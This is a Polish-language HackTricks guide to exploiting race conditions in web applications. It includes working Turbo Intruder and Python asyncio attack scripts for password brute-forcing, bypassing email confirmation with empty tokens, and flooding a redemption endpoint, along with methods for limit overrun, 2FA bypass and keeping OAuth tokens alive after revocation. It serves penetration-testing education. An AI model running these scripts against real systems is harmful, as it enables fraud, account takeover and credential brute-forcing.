# Warunek wyścigu
\ Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\ Zdobądź dostęp już dziś: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Zacznij od zera i zostań mistrzem hakowania AWS z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% hint style="warning" %} Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Wzmacnianie ataków warunku wyścigu Główną przeszkodą w wykorzystaniu warunków wyścigu jest upewnienie się, że kilka żądań jest obsługiwanych jednocześnie, z **bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms**. Oto kilka technik synchronizacji żądań: #### Atak pojedynczym pakietem HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1 * **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ zakłóceń sieci. Jednakże, ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do spójnego wykorzystania warunku wyścigu. * **HTTP/1.1 'Synchronizacja ostatniego bajtu'**: Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera. **Przygotowanie do synchronizacji ostatniego bajtu** obejmuje: 1. Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia. 2. Poczekanie 100 ms po początkowym wysłaniu. 3. Wyłączenie TCP\_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek. 4. Pingowanie w celu rozgrzania połączenia. Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC. ### Dostosowanie do architektury serwera Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądania. #### Obsługa blokady opartej na sesji Frameworki takie jak obsługa sesji w PHP serializują żądania według sesji, co potencjalnie może zaciemnić podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem. #### Przezwyciężanie limitów szybkości lub zasobów Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające warunkom wyścigu. ## Przykłady ataków * **Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo Intruder** (`Rozszerzenia` -> `Turbo Intruder` -> `Wyślij do Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brutalnie siłować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a następnie wybrać **`examples/race-single-packer-attack.py`** z listy rozwijanej:
Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod, który korzysta z listy słów z schowka: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`. {% endhint %} * **Tubo Intruder - atak jednopakietowy HTTP2 (Wiele punktów końcowych)**: W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt `race-single-packet-attack.py` w następujący sposób: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Jest również dostępny w **Repeater** za pośrednictwem nowej opcji '**Wysyłaj grupę równolegle**' w Burp Suite. * Dla **limit-overrun** można po prostu dodać **tę samą prośbę 50 razy** w grupie. * Dla **rozgrzewania połączenia**, można **dodać** na **początku** grupy kilka **żądań** do nieustalonej części serwera internetowego. * Aby **opóźnić** proces **między** przetwarzaniem **jednego żądania i drugiego** w 2 krokach podstanu, można **dodać dodatkowe żądania między** oba żądania. * Dla **wielopunktowego** RC można zacząć wysyłać **żądanie**, które **przechodzi do ukrytego stanu**, a następnie **50 żądań** zaraz po nim, które **wykorzystują ukryty stan**.
### Surowy BF Przed poprzednimi badaniami używano tych ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC. * **Repeater:** Sprawdź przykłady z poprzedniej sekcji. * **Intruder**: Wyślij **żądanie** do **Intrudera**, ustaw **liczbę wątków** na **30** w menu **Opcje** i wybierz jako ładunek **Puste ładunki** oraz wygeneruj **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Metodologia RC** ### Przekroczenie limitu / TOCTOU To najbardziej podstawowy rodzaj warunku wyścigowego, w którym **wykrywane są podatności** w miejscach, które **ograniczają liczbę razy, jakie można wykonać akcję**. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.** Istnieje wiele wariantów tego rodzaju ataku, w tym: * Wymienianie karty podarunkowej wielokrotnie * Ocenianie produktu wielokrotnie * Wypłacanie lub przekazywanie gotówki w większej ilości niż saldo konta * Ponowne wykorzystanie jednego rozwiązania CAPTCHA * Ominięcie limitu szybkości anty-brute-force ### **Ukryte podstany** Wykorzystywanie złożonych warunków wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść: 1. **Zidentyfikuj Potencjalne Ukryte Podstany** * Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na: * **Przechowywanie**: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta. * **Działanie**: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobnie stwarza warunki do wykorzystania w porównaniu z tymi dodającymi nowe dane. * **Kluczowanie**: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania. 2. **Przeprowadź Początkowe Sondowanie** * Przetestuj zidentyfikowane punkty końcowe za pomocą ataków warunków wyścigowych, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność. 3. **Wykaż Podatność** * Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagane czasowanie. ### Ataki Zależne od Czasu Precyzja w czasowaniu żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań. **Aby Wykorzystać:** * Użyj precyzyjnego czasowania, jak w ataku jednopakietowym, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność. **Przykład:** * Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów. **Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.** ## Studia przypadków ukrytych podstanów ### Zapłać i dodaj przedmiot Sprawdź to [**Laboratorium PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie trzeba płacić**. ### Potwierdź inne adresy e-mail Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony. ### Zmień e-mail na 2 adresy e-mail oparte na plikach cookie Zgodnie z [**tą analizą**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać token weryfikacyjny e-maila z jednego adresu e-mail na drugi**. **Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.** ### Ukryte stany bazy danych / Ominięcie potwierdzenia Jeśli **używane są 2 różne zapisy** do **dodania informacji** do **bazy danych**, istnieje krótki okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą być **zapisane**, a następnie **token** do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**. Dlatego **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego nie kontrolujesz. **Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.** ### Ominięcie 2FA Poniższy pseudokod jest podatny na warunek wyścigowy, ponieważ przez bardzo krótki czas **2FA nie jest wymagane**, podczas gdy sesja jest tworzona: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### Wieczysta trwałość OAuth2 Istnieje kilka [**dostawców OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Te usługi pozwolą Ci utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, **klient** będzie musiał **zezwolić Twojej aplikacji** na dostęp do niektórych ich danych wewnątrz **dostawcy OAuth**.\ Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "_Aplikacja \ chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?_" #### Wyścig warunków w `authorization_code` **Problem** pojawia się, gdy **zaakceptujesz** i automatycznie wysyłasz **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja wykorzystuje Wyścig Warunków w dostawcy usługi OAuth, aby wygenerować więcej niż jedną AT/RT** (_Authentication Token/Refresh Token_) z **`authorization_code`** dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby **utworzyć kilka kont**. Wtedy, jeśli **zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne**. #### Wyścig warunków w `Refresh Token` Gdy już **uzyskasz ważny RT**, możesz spróbować **wykorzystać go do wygenerowania kilku AT/RT** i **nawet jeśli użytkownik anuluje uprawnienia** dla złośliwej aplikacji do dostępu do jego danych, **kilka RT nadal będzie ważnych**. ## **Wyścig warunków w WebSockets** W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) znajdziesz PoC w Javie do wysyłania wiadomości websocket **równolegle**, aby wykorzystać **Wyścigi Warunków także w WebSockets**. ## Referencje * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\ Zdobądź dostęp już dziś: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}